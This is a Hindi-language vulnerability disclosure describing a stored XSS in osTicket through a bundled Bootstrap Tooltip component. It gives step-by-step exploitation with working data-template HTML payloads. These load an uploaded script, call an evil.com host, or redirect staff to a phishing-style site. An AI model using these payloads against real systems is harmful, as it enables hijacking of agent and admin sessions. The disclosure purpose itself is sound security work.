
osTicket में कमजोर Bootstrap टूलटिप घटक के माध्यम से संग्रहीत क्रॉस-साइट स्क्रिप्टिंग (XSS)
Enhancesoft osTicket के संस्करण 1.10 से 1.17.7 तक और 1.18.0 से 1.18.3 तक ज्ञात-कमजोर Bootstrap Tooltip 3.3.4 घटक (CVE-2019-8331) के साथ आते हैं, जो एक संग्रहीत क्रॉस-साइट स्क्रिप्टिंग (XSS) भेद्यता उत्पन्न करता है। डिफ़ॉल्ट osTicket कॉन्फ़िगरेशन में, टिकट सबमिट करने वाले ("उपयोगकर्ता") पूर्व प्रमाणीकरण के बिना टिकट सबमिट कर सकते हैं, और उपयोगकर्ता स्व-पंजीकरण डिफ़ॉल्ट रूप से खुला है। एक दूरस्थ उपयोगकर्ता एक दुर्भावनापूर्ण टिकट संदेश तैयार कर सकता है, जो htmlLawed HTML-सैनिटाइज़ेशन मॉड्यूल से गुजरने के बावजूद, किसी भी देखने वाले एजेंट या व्यवस्थापक के ब्राउज़र में मनमाना JavaScript निष्पादन का परिणाम देता है। यह समस्या और भी गंभीर हो जाती है क्योंकि उपयोगकर्ता द्वारा अपलोड की गई JavaScript फ़ाइलें एक्ज़ीक्यूट JavaScript Content-Type प्रकार (text/javascript) के साथ परोसी जाती हैं, जिससे ब्राउज़रों द्वारा उन्हें सक्रिय सामग्री के रूप में व्याख्यायित किया जा सकता है। जबकि इनलाइन पेलोड उस तरीके से सीमित होते हैं जिस तरह Bootstrap Tooltip 3.3.4 data-template मान को jQuery ऑब्जेक्ट में पार्स करता है और उसे appendTo() या insertAfter() के माध्यम से DOM में सम्मिलित करता है, हमलावर-नियंत्रित कोड को बाहरी स्क्रिप्ट के रूप में निष्पादित करना इन सीमाओं से बचता है और भेद्यता का अधिक शक्तिशाली शोषण सक्षम करता है।
परीक्षित और पुष्टि की गई कमजोर:
प्रभावित संस्करण:
यह घटक osTicket कोडबेस में 13 मई, 2015 से मौजूद है, जैसा कि निम्न द्वारा दिखाया गया है:
scp/js/bootstrap-tooltip.jse5a28410ae7c238932eef07c2b3568da015a792cयह कमिट osTicket रिलीज़ टैग से जुड़ा है जो संस्करण 1.10 से जुड़े हैं, यह दर्शाता है कि कमजोर Bootstrap Tooltip घटक कई प्रमुख संस्करणों में osTicket रिलीज़ की एक विस्तृत श्रृंखला में शामिल रहा है। यह दीर्घकालिक समावेश दृढ़ता से सुझाव देता है कि कई वर्षों में जारी किए गए कई osTicket संस्करण प्रभावित हैं।
osTicket एक व्यापक रूप से उपयोग की जाने वाली ओपन-सोर्स टिकटिंग प्रणाली है जो अंतिम उपयोगकर्ताओं को टिकट निर्माण और उत्तरों के भाग के रूप में समृद्ध HTML सामग्री और फ़ाइल अनुलग्नक सबमिट करने की अनुमति देती है।
osTicket उपयोगकर्ताओं की तीन मुख्य श्रेणियां परिभाषित करता है:
किसी उपयोगकर्ता द्वारा सबमिट की गई कोई भी HTML सामग्री बाद में एजेंट या व्यवस्थापक के ब्राउज़र में प्रस्तुत की जा सकती है, जिससे क्लाइंट-साइड भेद्यताएं विशेष रूप से प्रभावशाली हो जाती हैं।
सबसे पहले, अपने अंतिम-उपयोगकर्ता खाते का उपयोग करके प्रमाणित करें और टिकट निर्माण पृष्ठ पर जाएं।
फिर एक पेलोड युक्त JavaScript फ़ाइल (जैसे: test.js) बनाएं। उदाहरण के लिए:
alert(123);
ध्यान दें: डिफ़ॉल्ट रूप से, osTicket टिकट अनुलग्नकों को बिना किसी फ़ाइल प्रकार प्रतिबंध के अनुमति देता है।

फिर बिना कोई “Issue Details” प्रदान किए “Create Ticket” पर क्लिक करके टिकट सबमिट करें।
एप्लिकेशन हमें त्रुटि “Issue Details is a required field” के साथ टिकट सबमिशन फ़ॉर्म पर वापस पुनर्निर्देशित करेगा।
यह पृष्ठ हमें वास्तव में टिकट सबमिट किए बिना हमारी JavaScript फ़ाइल (test.js) के लिए एक डाउनलोड लिंक प्राप्त करने की अनुमति देता है।


एक बार जब आप यह लिंक प्राप्त कर लें, तो टिकट सबमिशन फ़ॉर्म पर लौटें।
HTML संपादक पर क्लिक करें और इस पेलोड को पेस्ट करें, script टैग के src विशेषता को पहले प्राप्त लिंक से बदलते हुए।
<input>
<div style="width:100%;height:100%;pOsition:fixed;tOp:0px;lEft:0px;z-Index:9999" data-toggle="tooltip" title="t" data-template="<script src='[LINK_HERE]'>"></div>
<input>
नीचे एक पूर्ण पेलोड का उदाहरण दिया गया है, जहां [LINK_HERE] पैटर्न को पहले प्राप्त लिंक से बदल दिया गया है:
<input>
<div style="width:100%;height:100%;pOsition:fixed;tOp:0px;lEft:0px;z-Index:9999" data-toggle="tooltip" title="t" data-template="<script src='http://localhost:8080/file.php?key=rjfge-qlcmbwgnsfl8hhwktyhctre-_e&expires=1768780800&signature=5044f8201f041228de077a2e025e6fc118b31223'>"></div>
<input>
फिर टिकट सबमिट करें।

जब कोई व्यवस्थापक या एजेंट हमारा दुर्भावनापूर्ण टिकट देखता है, तो पेलोड ट्रिगर हो जाता है।

परिणाम:
जब कोई व्यवस्थापक/एजेंट दुर्भावनापूर्ण टिकट खोलता है, तो JavaScript पेलोड व्यवस्थापक/एजेंट सत्र के संदर्भ में लोड और निष्पादित होता है।
इसके परिणामस्वरूप एक संग्रहीत XSS (stored XSS) होता है, जो पूर्ण सत्र समझौता करने की अनुमति देता है (उदाहरण के लिए ezXSS, CSRF के माध्यम से व्यवस्थापक/एजेंट क्रियाएं करने के लिए)।
यदि दुर्भावनापूर्ण टिकट किसी एजेंट द्वारा देखा जाता है, तो संग्रहीत XSS एजेंट के प्रमाणित सत्र के संदर्भ में निष्पादित होता है।
यह एक हमलावर को सत्र कुकी निकाले बिना एजेंट सत्र पर प्रभावी रूप से कब्जा करने में सक्षम बनाता है (उदाहरण के लिए, ऐसे परिदृश्यों में भी जहां कुकी बाहर निकालना व्यावहारिक नहीं है और ezXSS जैसे ब्लाइंड-XSS प्लेटफ़ॉर्म का उपयोग किया जाता है)। एक बार XSS चलने के बाद, हमलावर वह कोई भी क्रिया कर सकता है जो समझौता किया गया एजेंट करने के लिए अधिकृत है, उदाहरण के लिए:
इसके परिणामस्वरूप एजेंट की परिचालन क्षमताओं और टिकटिंग वर्कफ़्लो की गोपनीयता/अखंडता से पूर्ण समझौता होता है।
यदि दुर्भावनापूर्ण टिकट किसी व्यवस्थापक द्वारा देखा जाता है, तो प्रभाव पूर्ण अनुप्रयोग समझौते तक बढ़ जाता है। हमलावर निम्नलिखित कर सकता है:
यद्यपि osTicket की डिफ़ॉल्ट कॉन्फ़िगरेशन JavaScript फ़ाइल अपलोड की अनुमति देती है, osTicket को व्यवस्थापक पैनल में इस प्रकार कॉन्फ़िगर किया जा सकता है कि अंतिम उपयोगकर्ता को JavaScript फ़ाइलें अपलोड करने की अनुमति न हो।
इसके अलावा, एजेंटों और व्यवस्थापकों द्वारा उपयोग किया जाने वाला स्टाफ नियंत्रण पैनल एक सामग्री सुरक्षा नीति लागू करता है जो तीसरे पक्ष के डोमेन से उत्पन्न JavaScript के निष्पादन को रोकती है।
आइए निम्नलिखित पेलोड को एक उदाहरण के रूप में लें:
<input>
<div style="width:100%;height:100%;pOsition:fixed;tOp:0px;lEft:0px;z-Index:9999" data-toggle="tooltip" title="t" data-template="<script src='http://evil.com'></object>"></div>
<input>
नीचे दिया गया स्क्रीनशॉट दिखाता है कि https://evil.com से स्क्रिप्ट लोड करना स्टाफ नियंत्रण पैनल पर लागू सामग्री सुरक्षा नीति द्वारा अवरुद्ध कर दिया गया था।

हालाँकि, अनुप्रयोग पर लागू सामग्री सुरक्षा नीति इनलाइन JavaScript की अनुमति देती है।

ऐसे मामले में जहां JavaScript फ़ाइल अपलोड अवरुद्ध हैं, फिर भी एक हमलावर के लिए दुर्भावनापूर्ण क्रियाएं करना संभव है। आइए नीचे दिए गए पेलोड पर विचार करें:
<input>
<div style="width:100%;height:100%;pOsition:fixed;tOp:0px;lEft:0px;z-Index:9999" data-toggle="tooltip" title="t" data-template=""></div>
<input>
Base64 पेलोड निम्नलिखित में डिकोड होता है:
<script>top.location = "https://example.com";</script>
यह पेलोड एक हमलावर को दुर्भावनापूर्ण टिकट देखने वाले एजेंट या व्यवस्थापक को एक मनमानी वेबसाइट पर पुनर्निर्देशित करने की अनुमति देता है, उदाहरण के लिए एक फ़िशिंग साइट।
ऊपर दिए गए पेलोड वाले टिकट को देखने के बाद का परिणाम यहां दिया गया है।
